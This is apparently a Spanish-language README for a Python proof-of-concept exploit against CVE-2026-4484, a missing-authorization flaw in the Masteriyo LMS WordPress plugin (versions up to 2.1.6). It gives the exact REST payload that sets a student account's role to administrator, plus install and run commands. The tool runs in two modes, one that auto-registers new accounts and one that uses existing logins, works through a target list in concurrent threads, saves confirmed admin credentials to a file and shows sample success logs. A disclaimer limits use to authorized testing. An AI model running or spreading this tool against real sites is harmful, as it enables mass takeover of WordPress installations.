
Masteriyo LMS <= 2.1.6 - Falta de autorización que permite a usuarios autenticados (Estudiante+) escalar privilegios a Administrador
Masteriyo LMS <= 2.1.6 - Autorización faltante que permite la escalada de privilegios de usuario autenticado (Estudiante+) a Administrador
Descripción:
El complemento Masteriyo LMS para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 2.1.6 inclusive. La vulnerabilidad se origina en la función InstructorsController::prepare_object_for_database, que no restringe adecuadamente la asignación de roles durante las solicitudes a la API REST. Un atacante autenticado con tan solo acceso de nivel Estudiante puede elaborar una solicitud POST especialmente diseñada al endpoint de la API REST de Masteriyo — inyectando "roles": ["administrator"] en el payload de la solicitud — para elevar silenciosamente su cuenta a Administrador de WordPress, logrando la toma completa del sitio sin ninguna interacción administrativa.
Este es un script de explotación de Prueba de Concepto (PoC) dirigido a instalaciones de WordPress que ejecutan una versión vulnerable del complemento Masteriyo LMS. La herramienta admite dos modos de ataque:
| Modo | Nombre | Flujo | Caso de uso |
|---|---|---|---|
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
La herramienta utiliza una interfaz de terminal interactiva: todos los parámetros se solicitan en tiempo de ejecución.
Crea un archivo de texto plano (p. ej., list.txt) con un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
Usa este modo cuando no tengas una cuenta existente en el objetivo. La herramienta registra automáticamente una nueva cuenta de estudiante y luego la escala.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Pasos realizados automáticamente:
/account/signup/ → extraer nonce de registro/st/ → registrar nueva cuenta como Estudiante/account/ → extraer nonce de inicio de sesión/wp-admin/admin-ajax.php → iniciar sesión mediante Masteriyo AJAX/account/#/dashboard → extraer current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txtUsa este modo cuando ya tengas una cuenta válida de Estudiante o Instructor en el objetivo.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Pasos realizados automáticamente:
/account/ → extraer nonce de inicio de sesión/wp-admin/admin-ajax.php → iniciar sesión mediante Masteriyo AJAX/account/#/dashboard → extraer current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txt| Archivo | Descripción |
|---|---|
Login_admin.txt | Todas las escaladas a administrador confirmadas |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
La función InstructorsController::prepare_object_for_database de Masteriyo LMS procesa el parámetro roles del cuerpo de la solicitud REST sin verificar si el usuario que realiza la solicitud tiene la capacidad edit_users o promote_users. Cualquier usuario autenticado (de nivel Estudiante o superior) que pueda alcanzar este endpoint puede enviar un valor de rol arbitrario — incluido administrator — que luego se persiste directamente en la tabla de metadatos de usuario de WordPress.
Por: Nxploited (Khaled Alenazi)
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
El autor, Nxploited (Khaled Alenazi), y todos los colaboradores de este proyecto no aprueban, respaldan ni asumen responsabilidad alguna por el mal uso de esta herramienta ni por cualquier daño causado por el uso de este software contra sistemas para los que no se dispone de autorización escrita explícita.
- ✅ Permitido: Úsala en sistemas propios o para los que se haya concedido permiso escrito explícito para realizar pruebas.
- ❌ Prohibido: Úsala contra cualquier sistema sin la autorización escrita explícita previa del propietario del sistema.
El acceso no autorizado a sistemas informáticos es ilegal y está sujeto a sanciones conforme a las leyes aplicables, incluidas, entre otras, la Ley de Fraude y Abuso Informático (CFAA), la Ley de Uso Indebido de Computadoras (CMA) y la legislación equivalente en todo el mundo.
Al usar esta herramienta, aceptas la responsabilidad exclusiva de tus acciones y confirmas que cuentas con la autoridad legal para probar los sistemas objetivo.
El autor no asume responsabilidad alguna por daños directos, indirectos, incidentales o consecuentes derivados del uso o mal uso de este software.
© 2026 Nxploited (Khaled Alenazi) — Solo para investigación de seguridad autorizada.
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-4484 |
| Gravedad | ALTA — Puntuación CVSS v3.1: 8.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software afectado | Complemento Masteriyo LMS para WordPress |
| Versiones afectadas | Todas las versiones hasta la 2.1.6 inclusive |
| Tipo de vulnerabilidad | Escalada de privilegios (manipulación de roles) |
| Autenticación requerida | Sí — nivel Estudiante o superior |
| CWE | CWE-269: Gestión inadecuada de privilegios |
Nx_1 |
| Registrarse → Iniciar sesión → Escalar → Verificar Admin |
| Ataque desde cero — no se necesita cuenta existente |
| 2 | Nx_2 | Iniciar sesión → Escalar → Verificar Admin | Cuenta existente disponible (Estudiante/Instructor) |